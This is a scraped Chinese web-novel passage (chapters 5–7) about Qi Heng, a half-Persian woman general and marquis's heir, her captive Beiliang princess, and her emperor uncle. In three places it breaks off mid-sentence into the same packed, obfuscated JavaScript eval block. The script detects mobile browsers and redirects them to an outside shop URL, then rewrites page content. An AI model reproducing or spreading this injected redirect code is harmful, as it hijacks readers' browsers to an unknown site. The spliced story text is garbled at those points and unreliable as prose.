“且当着这世子,什么都不要管了,有爹替你扛着。日后袭了爵位,有仗就打,没仗在京也是个职官,过的也舒坦。” 戚砚攥了一缕金发到眼前,抬手对在银白月光中,浅色发丝透亮异常:“闺女,你是波斯人,又是个女人。” “‘异族非我’,朝中看你不爽的人太多了,近些年与波斯建交的原因他们不敢明面说罢了。没必要为了这群东西再把自己搭进去。” 戚姮湛蓝的眼眸在暗夜泛着幽光,闻言眸光闪烁几下,缓和了情绪,才开口道:“我要收复燕云十六州不为功名利禄,压根也没想上赶着求他们认可。” “只是这世道太乱,边境战事频繁,扑通百姓已经挣扎在水深火热中太久。位高责任重,我既袭了爵位继承权,获封世子,本就是职责所在。” “如果连侯府都要麻木不仁,还能指望谁来安社稷?那这个王朝,也实在是烂到根了。” 戚姮把对着赵繁英说过的话又原封不动地复述一遍,她的心也随之更加决绝:“我做不到视而不见,只要有机会,我一定,肯定,万分确定还会再犯。” “有本事就把我杀了。” 他的侯夫人去世那年,是定远侯府最鼎盛的时期,正值戚砚预备二征北疆之际。可偏偏太不巧了,唯一的妻子多病缠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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犹记当时朝堂情景,一半拿她是女人说事,另一半拿她的波斯血统来全盘否定。 ——非我族类,其心必异。 戚砚还没来得及将准备好的话怼出来,皇帝就迅速同意了,打了百官个措手不及。 他就一个女儿,自然计划着把爵位传给戚姮,戚砚这么打算,赵繁英便心里有数。 北凉这战是个契机,让两人的心思不谋而合。 ——给戚姮镀金。 就因着她是异族女人,所受的阻挠大到难以想象,此举压力最大的莫过于赵繁英。 决定将戚姮塞过去的第二日,上奏的折子达到了他登基以来最多的一次,足有十公斤重。 一半是直截了当的骂声,另一半是言辞恳切的反对。 赵繁英批阅到深更半夜,一直被骂一直批,还发作不出来,只能憋屈地写下“不允”二字。 还是戚砚看不下去,主动请缨让戚姮跟着就好,不用封职,反对声才渐渐弱去。 侯爵继承人往往在首战之前就会被封世子,戚姮不行,只是上个战场就被骂疯了,更别说无功袭爵。 把她带去只为有个拿得出手的履历,让赵繁英日后的册封有个名正言顺的理由。不需要真的立什么奇功,更无所谓什么权力地位。 哪知就是谁都没想着能改变什么的战役,戚姮如放虎归山,脱缰野马。过五关斩六将,短短两年就一路飙升至河北路副都部署。 获封河北路钤辖那次是她首次拒听安抚使指挥,在原本应该直击的地界装作没看见信号,私调骑兵变换阵法,在绝佳的山地地形诱敌深入,从侧翼包抄围剿而灭。 因着这事被各路将领们合伙,一层一层压了下去,没闹到安抚使的面前,大事化小。 戚姮初次意识到了自己做主的好处,更让她错误的认识到无论做了什么,只要打赢了仗便会有人兜底。 野心便如野火燎原,难以抑制。 往后的日子里,更加变本加厉。 于是,开朝以来首位且唯一一位靠自身军功上位的世子诞生了。 只是这世子的获封,太过有争议了些。 5. 君臣之道【二】 戚姮十岁分床那年候府扩容,为她单独辟出了一处院子作寝居。 房屋不多,她一人带着众侍女住不了多少,多的是土地。院里那片园林是汴京城内最大的私家园林,没有之一。 凿池为海,叠石成山,小桥曲廊岛亭水榭,隐于花木之间。 其居宏丽堪比一处世外桃源。秋冬早晨起雾,更像朦胧仙境。 翻过最高的土坡有整片草场,戚姮出征之前从没去过演武场。骑射武功,长枪短剑,俱在这片地上练习。 名石上流舍。 她这一觉睡得极为舒坦,行军两载,太久没沾到正经的床了。 榻上软软的,暖暖的,都不愿意醒。抱住被子滚了两圈,又踢了好几脚全部踩到脚底,磨蹭了许久才一伸懒腰,睁开了眼。 戚姮直直坐起,捂着后颈欲要翻身下床,却见地上躺了个人。 “……!”戚姮吓一激灵。 这人穿着普通兵卒的衬衣,略显宽大,整张脸都蒙在了发丝中,凌乱不堪,露出的一截手臂惨白如纸。 这幅样子就像死在了戚姮眼前。 “副官……” 她呢喃了声,撑着从地上爬起。戚姮向后退了两步,捞过被子挡在身前,打起了十二分警惕心。 地上这人膝行至戚姮床边,跪在地上二话不说先磕了个头,拨开头发露出脸,改口道:“世子。” 戚姮才算是缓了过来,扔开被子:“呼延绰,你故意吓我的?” “啊?”名叫呼延绰的女子矢口否认,“不是不是。” 戚姮:“我都快被你吓死了。” “对不起。”呼延绰依旧跪着,“是定远侯让我留在这照顾你的,我实在没有地方能躺,又太困了……只能睡在地上。” “屋里这么大,到处都是椅子,那边还有软榻。”戚姮向外指完一圈,又缩了回来,“你非要躺这。” 呼延绰顺着她指的方向四下张望,小声说:“我只敢睡在地上。” “……” 戚姮这才想起来自己的手还伤着,抬到眼前一看,掌心上药缠了绷带,绑的整齐又结实,一夜过后只残余些许疼痛。 “这是你绑的?” “是。” 戚姮:“绑的还挺好。” 她闻言心下一动,悄悄抬眼去瞥戚姮,恰巧撞进对方眼底,眸中似笑非笑的打量,像是戏谑。 呼延绰又连忙低头下去。 戚姮收了挑逗,翻身下床,从呼延绰的身侧绕开。走了几步来到供摆的桌案,昨夜里温的茶现在也凉的差不多了。 她倒出些,先涮了涮杯子,泼了才倒第二杯,提高音量:“怎么说你也是一国公主,跪这伺候我,你能甘心?” 若说甘心太假,送给皇帝处置便是。 若说不甘心,戚姮就更不敢留了。 呼延绰随她的脚步调动膝盖方向,面朝着戚姮,沉默片刻,她问:“俘虏还能算公主吗?” 戚姮挑眉:“不是公主是什么。是不打算姓呼延了,弃了从前身份,肯当奴了?” 呼延绰连思忖的时间都没有,当机立断:“我愿意。” 戚姮一滞:“什么?” “我不姓呼延了,也不当公主了,就当侯府中最普通的丫鬟,伺候世子。” “……” 戚姮咬着杯沿,齿尖与瓷器碰撞,细小的“叮当”响传到颅内,没想到会是这般走向,她的面色很是复杂。 “你可全都因为我才落的这个下场,你不恨我?” 她摇头:“不恨。” 说的又快又轻松,仿佛真的无所谓。 戚姮不死心:“我还杀了你亲哥哥,砍了他的脑袋,那是你哥哥。” 呼延绰语气如常:“我知道,我不恨你。” “我还害得你国家丢了地,将士死伤无数,抓你过来成了俘虏……” “不恨。”呼延绰都不等戚姮说完,直接打断,“不恨就是不恨,不必再问了。” 单拎出一条都是血海深仇,呼延绰真想杀戚姮,一刀了结都算仁慈。怎么说都要千刀万剐,死后再鞭尸三日。 种种叠加到一起居然没掀起任何波澜,只有轻飘飘两个字,“不恨”。 戚姮不敢相信:“你不恨我还能喜欢我不成?!” 呼延绰冷静自持的嗓音慌忙否认:“不不敢。” 戚姮盯她许久,忽觉此人深不可测,竟为保命可以做到如此地步。 还不知将来能掀起多大的风波。 戚姮轻抿一口凉水,整夜过去连茶香都散没了:“光嘴上说着不恨,我怎么知道你心里头想的什么……” “我什么都没想!” 戚姮被打断了话头也不恼:“咱俩之间,说小了是隔着杀兄之仇,往大了说那是家国两派。我可不敢信你说的话,万一是打算卧薪尝胆,哪天下毒谋杀我呢?” 呼延绰咬着唇,艰难开口:“公主也是女人。” 戚姮听不懂这话:“嗯?” “北凉女人出嫁从夫,夫死从子,子死从孙,不可更改。” 戚姮眉心轻微拧在了一起。 呼延绰垂下眼,泪花如断线珍珠“哗哗”向下掉,砸到地板上:“副帅弃我而逃之时只说了这一句话。他告诉我,捡走我的男人就是我的丈夫,以后嫁到中原来,就不要回去了。” “虽是嫌我累赘才丢弃,但战场上任何俘虏都要上报主帅,我一定会被送到侯爷面前,本质已经与和亲无异。” “副帅想用我跟燕军谈判,献出一个女人,换侯爷撤军,他们男人都懂是什么意思的。” 呼延绰仰起脸,哭红的眼眶湿漉漉,睫毛结成绺:“不然,不然,军队已经败了。那么好的机会侯爷不选择攻上去,反而撤军回朝,不就是收了我的意思吗……为什么又说不能留?” 戚姮:“…………” 该怎么跟她解释,这是朝堂上脑子不太好的文官联合上书请奏,强制要求的结果。 戚姮带领小队冲袭了大半年,撞散各个营垒的联系,早为收官之战打基础。宛如慢性毒药逐渐侵蚀,呼延达旦一死,北凉军队瞬间土崩瓦解。 早被切断的内部只是靠元帅统治才维持起了抵抗外敌的力,短时间内将领有心无力,根本凝聚不起军心。 没了元帅指挥,士兵迅速自乱阵脚,毒性彻底爆发。 大几万的人如无头苍蝇般四散而逃,战马乱撞,踩踏撞伤、拥挤窒息便都接踵而至。 几乎不用废太大的力,只需要驱赶他们聚到一处,利用人性在仓皇无措下大脑空白这点,自己人就把自己人踩死了。 燕军由此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531454|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战士气高昂,军心大振,两日不到迅速占领幽州。 稍作整顿,往东北方向去,围剿蓟州剩余的北凉残党,半月不到攻破进城,城墙插上代表“燕”的红旗。 即将向西长驱直入直取燕云十六州之际,八百里加急的圣旨也传来了。 不是犒赏,不是慰问,而是要求撤兵。 连呼延绰都能看明白机会千载难逢,更别提戚姮收到撤兵指令时是什么心情。 现在告诉她真相,呼延绰都够呛信燕朝里的臣子居然个个是傻吊,能在这时候撤兵。 事实就是,真这么傻吊。 见戚姮呆了半天不说话,呼延绰有些着急,啜泣着:“我愿意去伺候侯爷,还请世子殿下行行好,给条活路!” “噗——”戚姮一口茶水喷了出来,捂着嘴剧烈咳嗽,“……我好心留你一命,你却想给我当小娘。” 她捂着半张脸的震撼踱步而去,三下五除二抹掉呼延绰的泪珠,强迫她直视着自己:“你看我这样,像哪的人。” 距离很近,视线措不及防被戚姮略显冷厉的五官占据,呼延绰瑟缩着向后躲,却无法移动半分。 她连眼珠都未曾转动,傻愣愣地:“波斯人……?” 缠满绷带的双手捧起呼延绰的脸,戚姮满脸假笑:“我娘就是和亲公主,你还想继续留在我家。是准备让我爹把周边各国公主收集齐全,当纪念吗。” “我不是这个意思……”呼延绰呼吸一滞,“当丫鬟也可以,都可以的。” 当初捡到呼延绰时,北凉军队早已撤退的七七八八。也不知她到底什么时候被扔的,周遭尸体成堆,血流成河,就她一个活口,在那纷乱的战场上活了下来。 呼延绰的运气太好了,没死在乱刀铁蹄之下,长的那么漂亮也没有被士兵拖走。就只是呆坐到战争结束,突然挥刀准备自杀。 戚姮一箭打偏了她的刀锋,充当战事俘虏带回营帐,简单沟通几句知晓了身份名讳,就丢给了自己手下的女兵照顾,再也没管过。 今天,是第二次见面。 戚姮默了半晌,突然问:“你多大了?” “十七。” 到底也就是个十七岁的小姑娘,手无缚鸡之力,被族人丢弃,也不管不顾这公主会不会死在战场上,任由自生自灭。 确实很难再对那里有什么留恋吧。 戚姮想到这里,叹息一声,问:“你会武吗?” 呼延绰摇头:“不会。” 戚姮了然于心,沉吟片刻:“那……你去当个洒扫丫鬟,怎么样?” 呼延绰弱弱问道:“我可以自己选吗?” “……”戚姮妥协,“可以。” 呼延绰笑:“我想当你的贴身丫鬟。” “不行。”戚姮面无表情地拒绝,命再大也不敢真让她贴身伺候,“我自个儿有。” 呼延绰扒着戚姮的腿,可怜巴巴地:“求你了。” “不让你留,说当丫鬟就行,真让你当丫鬟,还想贴身伺候。”戚姮被包扎成鸭掌的手抬起她下巴,场面有点滑稽,“你到底打的什么主意。” 呼延绰眨了眨眼,听不懂她的弦外之音:“我本打算去伺候定远侯来着,但你不让,伺候你也好啊。” 戚姮:“……” “你还是想当我小娘!” 6. 君臣之道【三】 戚姮只在家休了三日。 行军途中吃不好睡不好,打仗又劳心伤身,近两年的亏空疲惫堆到回家才爆发,困顿不堪,从早到晚蒙头大睡,除了用膳几乎不下床,才勉强恢复七成精力。 第四日寅时三刻,天未亮鸡未叫,她便摸索着爬起来,准备正式上朝去。 手上的伤已经好的差不多了,只留些淤血在掌心,戚姮尝试活动了一下指关节,全无大碍。 收拾妥当翻身上马,真正握住缰绳那刻已觉不到痛。 休息这三天戚姮没进宫去找赵繁英说一句话,从前两人隔三差五就碰到一处下棋聊天,自那次挨了打之后对见他这事就有点抵触。 连后续的封赏、汇报都没有参与,借口都不找,就是不去。 赵繁英心里也清楚她是闹小孩子脾气,也没吭声。 从回来以后就没什么好心情,被言官噼里啪啦一顿骂。 知道被骂是一回事,真正直面骂声又是一回事,做了准备居然还会难过…… 接着就是赵繁英的罚,长跪一下午不说,还挂了彩回去。 戚姮心里正惆怅着呢,双手握着芴板慢吞吞向待漏院走去,天色未亮,宫门未开,只能聚在那处候着。 一想到等会还要见到赵繁英她垂头叹了口气,要么不见面,见面了以他的性格绝对又要留人聊聊。 想的太入神,注意力又全在地板青石,戚姮还在苦恼等会见了赵繁英会不会挨第二顿揍,走着走着突然一头撞上了个东西。 就听一声惊呼,与她相撞的那人后退两步跌坐在地,连同怀中成摞的书本也都四散而落。 微弱的困意和惆怅顿时烟消云散,戚姮“嘶”了声,抬手捂上额角。 “下官一时不慎,冲撞了大人,还望海涵。” 略显淡漠的男声响起,地上那人主动先道歉,话中没带多少惶恐,在微亮的天色中摸索着捡起了东西。 “……无碍,是我走得急了。”戚姮第一天上朝,谁是谁都还不认识,说些官话准没错。 她瞳色浅,在这种环境中向来比别人看得更清晰些,见被撞散的东西的确太多,七零八落的一地都是。 心里叹了声倒霉,俯下身,伸手与他一起捡了起来:“真是抱歉。” 面前这人动作一顿,垂下的头微微抬起,恰巧撞进戚姮眼底。 四目相对,耳边的嘈杂在瞬间被压下,仿佛置身于水底,朦胧一片,只余自己微不可察的的呼吸声在颅内环绕,盘旋不休。 眼珠轻动,他看清了戚姮眉心那一点红痣,连着生来便微压向下的眉,深邃冷冽,冻住了她的双眸,结了层湛蓝色的冰。 戚姮没放过他面上的恍惚,微不可察地起了些许疑惑,下一瞬,听见这人怔愣地开口:“……我是不是在哪见过你。” “或许是有过一面之缘罢。”戚姮淡然回道,“大人贵姓?” 他这才回过神,掩下自己的失礼:“下官姓后,单名一个煜字。” “多有唐突,还望见谅。” 幞头遮住了戚姮整个前额,头发也被一丝不苟地拢到帽中,只余一张未施粉黛光洁的脸。 偏偏就是这副模样,配上那颗痣,将后煜记忆中一个模模糊糊的影子猛然勾出。 戚姮眼尖瞟到了这些都是账本,拾起之后又堆回他的手中,这一摞沉甸甸的东西都快将后煜的视线全挡死了,也难怪会没看到人相撞。 “戚姮。”她自报了名讳,停顿片刻,道,“今日遇见的是阁下,还真巧。” 后煜听懂了她话中含义,眨了两下眼:“或许是缘分吧。” “下官还有别的事,就不打扰了。” 他微微欠身,也不等戚姮回应,抱着账本便步履匆匆地离去。 戚姮最后瞧了两眼他的背影,压根想不起自己何时见过这号人,从头到尾连名带姓,全都没印象,更遑论什么眼熟。 可能就是他看错了吧,戚姮整理了一下衣襟,很快就抛到一边不再想了。 · 完整走一次上朝的流程并不轻松,直到辰时六刻结束,约莫得站了两个多时辰。 正常来讲用不了这么久,恰巧赶上了军队班师回朝,待汇报的事务一大堆,谁也都走不了,只能老实等着处理完了再说。 戚姮刚要转头开溜,又被喊住了步子。 养心殿,戚姮与赵繁英大眼瞪小眼。 檀香袅袅,风吹起窗纱掀起一小片弧度,屋内光影摇曳,在脸前闪动。 赵繁英示意她坐:“这么看着我干吗。” 戚姮立在几步之外,不动:“陛下找臣有事儿吗。” “再端架子以后都别来了。”赵繁英挥退左右宫人,语气随意。 “……”殿内顿时只剩他们二人,戚姮绷紧了唇角,一言不发地按赵繁英的意思落座。 备好的糖块从桌下拿起,赵繁英还是那套哄小娃娃的做派,将罐子推至戚姮面前,摊开掌心道:“来,我看看手。” 戚姮还真吃这套,看到那糖罐子警惕心卸下大半,将信将疑把一只手伸去,往回抽抽着随时预备要跑。 被赵繁英面无表情地攥住手腕,拉到眼前。 他看得仔细,指腹搭在了戚姮的脉搏上,没多大会就松开了:“我还以为你近两日不出门是哪不舒服,看来也没什么事。” 戚姮呛他:“陛下不忙着协和朝野,还有空担心微臣的身子呢。” 瞧着她掌心淤血还大片聚着,赵繁英摁了两下,戚姮没躲,了然这是不怎么疼了。 “我特地挑了个快断的戒尺,选了最轻的责罚,还气呢?” “臣不敢生陛下的气。”戚姮道,“雷霆雨露皆是君恩。” 赵繁英无奈一摊手:“那日御史台的人纠缠了一下午,连我来找你都要候在外面。我不打你,是真没办法搪塞过去。” 戚姮不答,从罐中摸了一颗出来,剥掉纸塞进嘴里:“陛下还有事吗?没事臣得赶紧走了。” 赵繁英接连碰壁,表情不变,只瞥了她一眼:“你这位小刘彻也金屋藏娇了不成,这么着急回去。” 戚姮现在才发现,赵繁英原来也是一句话能记这么久的人,随口拿刘彻举了条例子,现在还搬出来调侃…… 她暗自腹诽,手肘撑上桌沿,向前探身,神秘兮兮道:“是啊。家中有美人,特别美,半日不见如隔三秋。” 赵繁英始终挂着抹浅笑,意味深长:“按法理,呼延绰是重大俘虏,应当上报朝廷,私自藏人也是犯法。” 戚姮一脸“你果然知道”的表情,正经解释道:“那批收编成军的俘虏最近正担心着朝廷翻脸不认人,不打仗了就寻个由头把他们杀了。” “不安抚下来早晚出事。呼延绰毕竟是北凉公主,让她留在侯府,也是个例子。证明真不杀归降的北凉人。” 戚姮耸肩:“听人说,流言的确平息不少,我也就一直养着她喽。” 戚姮的军事理念是优待战俘,劝降大于屠戮。 北凉是草原上的民族,自小精骑射。燕云十六州地形复杂,又多山地高路,中原擅长的步兵战法与之作战,屡屡受挫吃大亏。 戚姮便想,如若能将俘虏收编,为己所用,那是天然有着作战经验的精骑部队。 毕竟都只是一群普通百姓服兵役期间打了败仗被抓,向来是自我生死高于家国荣辱。无论何时,保命要紧,也鲜少有不乐意的。 北凉俘虏就这么划入骑军中一同训练,更是下令严禁军中欺凌歧视行为,无论封赏还是补贴,所有士兵一视同仁。 这两年来收编成兵的多数也老实本分,效果立竿见影,戚姮每每想要带队突袭,成功率都比以往高出三成。 此番撤军,内部逐渐开始出现声音,害怕回到汴京中原人就变脸,以养不起那么多闲人为由将他们坑杀。 呼延绰的出现反而解了戚姮的燃眉之急。 侯府总共就俩主子,不兴大动干戈的安排侍从。戚姮又是被“以后要上战场”的培养着长大,更讲究自力更生。 能自己干的不要人帮,身边也就几个打扫卫生的女使。 所以洒扫丫鬟没让呼延绰去,贴身婢女也没让她做,反倒收拾出一处院子,让她住了进去。 这小姑娘比想象中的还好哄。 让人带呼延绰去夜市玩,回来就给戚姮带了一堆好吃的。丈量身形为呼延绰裁衣,她抱着衣裳美滋滋地一天换一套。 其单纯模样压根看不出有什么城府,戚姮也就没再管她,只让人暗中留意着,别搞小动作就行。 消息传出去,连仇敌亲女都能得到这种待遇,军队中的风向登时就变了。加之领头再三强调不可能赶尽杀绝任何一个俘虏,朝廷赐下来的奖赏也都实打实拿到了手,躁动紧接着偃旗息鼓,再翻不起波澜。 赵繁英点头:“少带她乱晃。” “都是局势问题。北凉和楼兰人人喊打,难免有偏激的认下呼延绰的脸,想着杀了她。” “你的话……”赵繁英顿了顿,“波斯跟中原的仇十几年前就结了,会好些。但有些人的嘴堵不上,要是说你,你别听。” 戚姮无所谓:“当年我爹为两国交谊和亲,意义非凡,谁敢当面说我是杂种?” 赵繁英:“……别跟你爹学得说话这么粗俗。” 戚姮:“不就是这个理。” 赵繁英揉了揉眉心,继续说:“文则知道你册封了,她想找你。” 蜜糖含在口中,戚姮咬碎成小块,闻言差点把舌头顺便咬掉,大惊失色:“她?找我?” 赵元赵文则,朝天仪公主。 “两年未见,你不想她?”赵繁英问,“怎么看你这么为难。” 迎上赵繁英若有所思的目光,戚姮讪笑两声:“没什么,我等会去就是了。” 将戚姮憋屈的脸色尽收眼底,赵繁英话锋一转:“被人压一头的感觉不好吧?什么事儿都得听皇帝的。” 戚姮只干笑不说话。 “自从先帝驾崩,戚砚带着你躲家里,没人管,没人治你们两个,他应当挺惯着你的。” 赵繁英支着脑袋,坐姿逐渐随性:“养的你不知天高地厚,什么事儿都敢干。” 戚姮意有所指:“是啊,我爹都没让我跪过。” “不想跪,想当皇帝吗。” “噔”一声,戚姮心中那块钟被重重敲响,散漫的态度在瞬间收起,虚幻的余音回荡在脑中久久不散。 赵繁英仿佛只是说了件不能再寻常的小事,飘过来,如同凉风嗖嗖灌到颈间,激的戚姮一哆嗦。 盯住赵繁英漆黑的瞳孔,非疑非怒,根本猜不透他的心思。 赵繁英先笑了,笑的发自内心,伸个脑袋到戚姮面前,尾音都笑得在颤:“我还以为你这么嚣张会敢说一句想呢。” 戚姮嘴唇嗫嚅着,半天接不上话。 额角渗出的冷汗顺着发丝滑落,细微的痒意太过刺挠,她咽了口唾沫,气氛一度更甚紧张。 快入夏了的天阵阵发凉,只觉头晕目眩,呼吸困难。连带着刚咽下去糖块的口腔都跟着干燥难耐,戚姮喉间微动,细密地发着抖,却吭不出一个字。 “想吗?” 赵繁英眉眼凌厉五官立体,皮肤白的跟戚姮这天生晒不黑的异族胡人不相上下,向来性格淡然,更不显有人情味了。 或许真是从前的情分已经消磨殆尽,时至今日,戚姮才真正感受到赵繁英的压迫。对野心的试探与逼问,这在曾经他是从不会提起的。 只两句话就把戚姮吓得连动都不敢动,答也不是,不答更不是。 真的猜不透他的心思。 “不,不想。”戚姮眼皮狂跳,轻声开口,“舅舅……” “现在想起我是你舅舅了。” 堪比逼宫的气氛随这句化开,赵繁英的脸色恢复如常,话还是可怕:“我跟你这么大的时候正撺掇着戚砚起兵造反,正正好好。三番两次地口出狂言,你是觉得,你现在还很小所以不用负责?” 听一个皇帝讲他曾经怎么夺来的皇位完全超出了戚姮的承受范围,她大惊,跪着向后退了好几步,伏在地面缩成个团:“微臣不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531455|203697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 敢。” 赵繁英:“一不愿跪,二不认错,三还自封起小刘彻了,我看你敢的很。” 戚姮心中顿时叫苦连天,恨不得回到刚才抽自己一巴掌。 原来他一直在这等着。 “臣乱说的,陛下切莫当真,臣愿按律法前去领罚。” 在御书房跪伤的膝盖只疼了那一晚,连药都没抹,隔日醒来就觉不着疼了。 眼下突然开始隐隐作痛。 戚姮一颗心悬到嗓子眼,恶心的眩晕直冲脑门,难受也不敢表现,静等着赵繁英落处置。 赵繁英兀自拿了一颗糖,剥开送进口中:“罚你你又不服,有什么用。” 戚姮摇头:“服,服。都怪微臣嘴太快人太蠢说了胡话,陛下想怎么罚都行,微臣绝对没有半点怨言。” “戚砚为了躲我能十几年不出门,此番自请出征还是为了你的册封,别让他都这么谨慎了还要因为你不懂事受牵连,能做到吗?” 赵繁英不说要罚,也不说无罪,嗤了声戚姮这态度,似是在说“早这样不就万事大吉了”。 戚姮连语气都轻了不少:“能。” “你不是小孩子了,以后说话做事,三思后行,三缄其口,想想什么能说,什么不能做。”赵繁英说,“我相信戚砚还有能力再送上一位皇帝,你……” 戚姮飞速否认:“微臣绝无此心!” 殿内静若寒蝉,赵繁英故意晾了她好些时候,才轻飘飘道:“我不罚你。” 戚姮提起的那口气终于能顺了下去。 赵繁英嚼碎了糖块,被腻的蹙起眉,话也柔和多了:“当年肯把皇位让给我的唯一条件,就是不能杀你,不能动侯府。” “谋反除外。” “……”戚姮将头埋得很低。 能不能别提曾经了。 赵繁英让她过去,戚姮就垂着头缓缓膝行至跟前,虚脱地瘫倒了半边身子,没出息地砸到地上。 “指水为誓,天地可鉴,我可不敢糊弄了事。”赵繁英笑着拍了拍戚姮的后脑勺,“不就闹点小孩脾气,舅舅相信你很快就长大了。” 仅仅只是两年过去,隔着一场战役,回来后便天翻地覆。 那个耐心温和的舅舅荡然无存,现在要轮到戚姮去认真,记牢他的每一个字。 戚姮都来不及伤感一番,还要硬着头皮忙不迭点头,喉口干哑:“是。” 赵繁英顺手扶了身旁的瘫倒的人一把,戚姮下意识就抓紧了他的胳膊。 在越权事件发生前他还是戚姮在这世上第二信任的人,天真信了赵繁英那句“你想做什么都可以”,最后却要跪在这听他的敲打。 “你不疼我了吗”绕在嘴边,被戚姮咽了回去。 一脚入朝,先为君臣,再论亲疏。 “有个案子我想交给你处理。”赵繁英话题转变速度快的令人发指,“也不是什么大事,处理好了,对你当下在朝中尽快立足也有好处。” 说不委屈是假的,戚姮想着,鼻尖又酸了,硬把情绪憋了回去:“什么案子。” “商贾应家,检举出了个楼兰余孽,说是曾经侥幸出逃的王室公主。人已经移交给当年负责出兵楼兰的主将,宁淮宁将军了,就这几天的事,有空你自己去看吧。” 赵繁英曲着一只腿,手肘搭在膝盖上,也不知察没察觉到戚姮不对劲的情绪,只道:“挺适合你的,外族解决外族,彰显一下态度。反响怎么样不能保证,全靠你自己解决的怎么样了。” “我知道了。”戚姮深呼吸一口气,“会处理好的。” 赵繁英还挺放心,没嘱咐些别的,话就这么掉在了地上,谁也没拾起来。 宫女掐着时辰送来了果盘,放下碟盏就走;另一个换了香,上了温茶,缓缓退出殿外。 戚姮靠着赵繁英的肩头,傻愣着盯了许久地板,忽然听见他问:“吃樱桃还是荔枝。” “……荔枝吧。” 话音刚落剥好的荔枝就放在了唇边,戚姮向下扫了一眼,张嘴咬下。 “回来以后还有什么打算吗。”赵繁英随口道,“这次打完,北凉至少得安分个几年。你也不小了,亲事什么还没个着落,趁着这时候赶紧定下来,省得以后跑去前线回不来,再拖晚了。” 戚姮说:“想过。但我在京中不认识几个人,也没什么合适的人选,只能先把眼下的这些杂事解决,再说那些。” “实在不行,我挑几个你看看。” “……”戚姮疑惑地视线转到身旁,“舅舅是打算联姻还是什么?怎么如此急切。” 赵繁英欲言又止,轻咳了一声:“赵初一直喜欢你。” 戚姮没说话,就只看着他。 “现在老二年纪小,还好糊弄,再过两年让他搞出了什么名堂,真要求着娶你,我没法子拦。” “陛下话里有话。”戚姮表情微凝,“可是出现了什么变故?” 赵繁英沉默着摇头:“没有。就是你回来了,赵初该不安分了。” “我回去再想想吧,劳陛下记挂。”戚姮兴致不高,退到一旁行了个礼,“先告退了。” 赵繁英没留,挥了挥手。 戚姮溜得快,眨眼间就不见了踪影。 赵繁英歪身,向外喊道:“叫右谏议大夫来。” 戚姮出了门就右转往皇宫外跑,刚才应付着说要去找赵元叙旧,那是万万不敢真去后宫寻她的。 哪知是不是都太了解对方什么德行,戚姮刚跑了几步,赵元便从转角处出现,挡住了她的去路。 两年未见,赵元清瘦了不少,罗裙飘飘,鲜艳夺目,明明是欢快的颜色却被她眉宇间的萦绕着淡淡戾气染的格外突兀。 “文、文则。”戚姮硬生生止住了脚步,才没有一头撞上去。 脑中飞快闪过要说什么,解释什么,千言万语涌到嘴边,被“啪”一声清脆全部打了回去。 戚姮眼睁睁看着赵元抬手打过来,明明能躲开也还是任由这巴掌落在侧脸,火辣辣的疼烧到颊边。 “世子殿下好风光啊。” 7. 开封府衙【一】 初夏夜微凉,清风拂面,刮动树叶微响。 戚姮立身宁将军府下,抬眼瞧着悬挂在高处的牌匾,写着“忠义千秋”四个大字。 趁着门口守卫进去通报的间隙,戚姮吃完了最后几颗在街上买的炒栗子,赶来的宁淮缓缓停在面前,躬身行礼:“世子。” 戚姮将口中的栗子咽下后才说:“将军这牌匾上的字不错。” 宁淮闻言向上看,屋檐下照明的两个灯笼被风吹得微动,烛光透过红色的绸缎映在木板,只亮了前后两个字,莫名为这夜晚增添了些许幽深。 “这是十三年前平定楼兰叛乱有功,回京后,先帝提笔亲赐的字。” 戚姮的表情隐在黑暗中,高挺的鼻梁向侧脸投下阴影,灯笼的两束光聚在她湖蓝色的眼眸,盛着些许道不明的情绪:“看出来了,的确是先帝的字。” 宁淮的表情有些僵硬,两人先前未曾见过几面,不曾相识,实在不知这句无厘头的话该怎么答下去。 “宁将军不必这么拘谨,早前几天就听人说城南有节目,闲来无事,去那逛了一圈,这不,刚回来。顺路正好走到将军府前,就想着来拜访一番。” 戚姮笑声很轻:“毕竟您与我爹是故交了,这么些年没来过,算我的失礼。” 宁淮忙道:“哪里的话。殿下如今炙手可热,风头无两,肯抽出时间来一趟末将就已经知足了。” 他伸出胳膊向府内指引:“世子可是来解决楼兰余孽这档子事儿的?请随我来吧。” 多了废话不说,戚姮微微颔首,称了句“正是”,便跟在宁淮的身侧向里去。 将军府的规格很寻常,就是普通的府邸,没什么特别之处。 行在长廊上,宁淮提了几句应府从发现那余孽到报案的发展经过,没几步就来到了堂屋。 “世子今晚上也真是来巧了,这案子不小,后续影响也大。怕您刚上任不懂流程,官家还任命了另一位大人来协助处理,眼下他就在府中呢。” 戚姮顺着问道:“是哪位大人?” 屋门“吱呀”一声从里面打开,戚姮没等到宁淮的回应,注意力就被吸引走了。她掀起眼皮,视线所及之处猝不及防闯入另一张脸。 桃花眼芙蓉面,气质如沐春风,清爽温和。 戚姮打量了他一番,长得是不赖,但就是不认识。 瞧着对方一直堵在门口,也不说话也不动,戚姮抬脚进屋的步子僵在半空许久,就是迈不进去。 